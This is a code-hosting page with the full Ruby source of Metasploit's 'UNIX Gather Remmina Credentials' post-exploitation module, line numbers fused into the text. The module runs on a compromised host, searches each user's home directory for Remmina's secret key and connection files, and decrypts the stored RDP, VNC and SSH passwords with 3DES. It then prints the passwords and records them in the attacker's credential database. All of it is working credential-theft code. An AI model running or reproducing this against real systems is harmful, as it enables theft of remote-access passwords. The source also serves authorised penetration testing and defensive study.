Path: blob/master/modules/post/multi/gather/remmina_creds.rb
19813 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather Remmina Credentials',14'Description' => %q{15Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.16These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)17stored in (relatively) plain text in a file that must be properly protected.18},19'License' => MSF_LICENSE,20'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],21'Platform' => %w[bsd linux osx unix],22'SessionTypes' => %w[shell meterpreter],23'Notes' => {24'Stability' => [CRASH_SAFE],25'SideEffects' => [],26'Reliability' => []27}28)29)30end3132def run33creds = extract_all_creds34creds.uniq!35if creds.empty?36vprint_status('No Reminna credentials collected')37else38vprint_good("Collected #{creds.size} sets of Remmina credentials")39cred_table = Rex::Text::Table.new(40'Header' => 'Remmina Credentials',41'Indent' => 1,42'Columns' => %w[Host Port Service User Password]43)4445creds.each do |cred|46cred_table << cred47report_credential(cred[3], cred[4])48end4950print_line(cred_table.to_s)51end52end5354def decrypt(secret, data)55c = OpenSSL::Cipher.new('des3')56c.decrypt57key_data = Base64.decode64(secret)58# the key is the first 24 bytes of the secret59c.key = key_data[0, 24]60# the IV is the last 8 bytes of the secret61c.iv = key_data[24, 8]62# passwords less than 16 characters are padded with nulls63c.padding = 064p = c.update(Base64.decode64(data))65p << c.final66# trim null-padded, < 16 character passwords67p.gsub(/\x00*$/, '')68end6970# Extracts all remmina creds found anywhere on the target71def extract_all_creds72creds = []73user_dirs = enum_user_directories74if user_dirs.empty?75print_error('No user directories found')76return creds77end7879vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")80# walk through each user directory81enum_user_directories.each do |user_dir|82remmina_dir = ::File.join(user_dir, '.remmina')83pref_file = ::File.join(remmina_dir, 'remmina.pref')84next unless file?(pref_file)8586remmina_prefs = get_settings(pref_file)87next if remmina_prefs.empty?8889if (secret = remmina_prefs['secret'])90vprint_status("Extracted secret #{secret} from #{pref_file}")91else92print_error("No Remmina secret key found in #{pref_file}")93next94end9596# look for any \d+\.remmina files which contain the creds97cred_files = dir(remmina_dir).map do |entry|98::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/99end100cred_files.compact!101102if cred_files.empty?103vprint_status("No Remmina credential files in #{remmina_dir}")104else105creds |= extract_creds(secret, cred_files)106end107end108109creds110end111112def extract_creds(secret, files)113creds = []114files.each do |file|115settings = get_settings(file)116next if settings.empty?117118# get protocol, host, user119proto = settings['protocol']120host = settings['server']121case proto122when 'RDP'123port = 3389124user = settings['username']125when 'VNC'126port = 5900127domain = settings['domain']128if domain.blank?129user = settings['username']130else131user = domain + '\\' + settings['username']132end133when 'SFTP', 'SSH'134# XXX: in my testing, the box to save SSH passwords was disabled135# so this may never work136user = settings['ssh_username']137port = 22138else139print_error("Unsupported protocol: #{proto}")140next141end142143# get the password144encrypted_password = settings['password']145password = nil146unless encrypted_password.blank?147password = decrypt(secret, encrypted_password)148end149150if host && user && password151creds << [ host, port, proto.downcase, user, password ]152else153missing = []154missing << 'host' unless host155missing << 'user' unless user156missing << 'password' unless password157vprint_error("No #{missing.join(',')} in #{file}")158end159end160161creds162end163164# Reads key=value pairs from the specified file, returning them as a Hash of key => value165def get_settings(file)166settings = {}167read_file(file).split("\n").each do |line|168if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line169settings[setting] = value170end171end172173vprint_error("No settings found in #{file}") if settings.empty?174settings175end176177def report_credential(user, pass)178credential_data = {179workspace_id: myworkspace_id,180origin_type: :session,181session_id: session_db_id,182post_reference_name: refname,183username: user,184private_data: pass,185private_type: :password186}187188create_credential(credential_data)189end190end191192193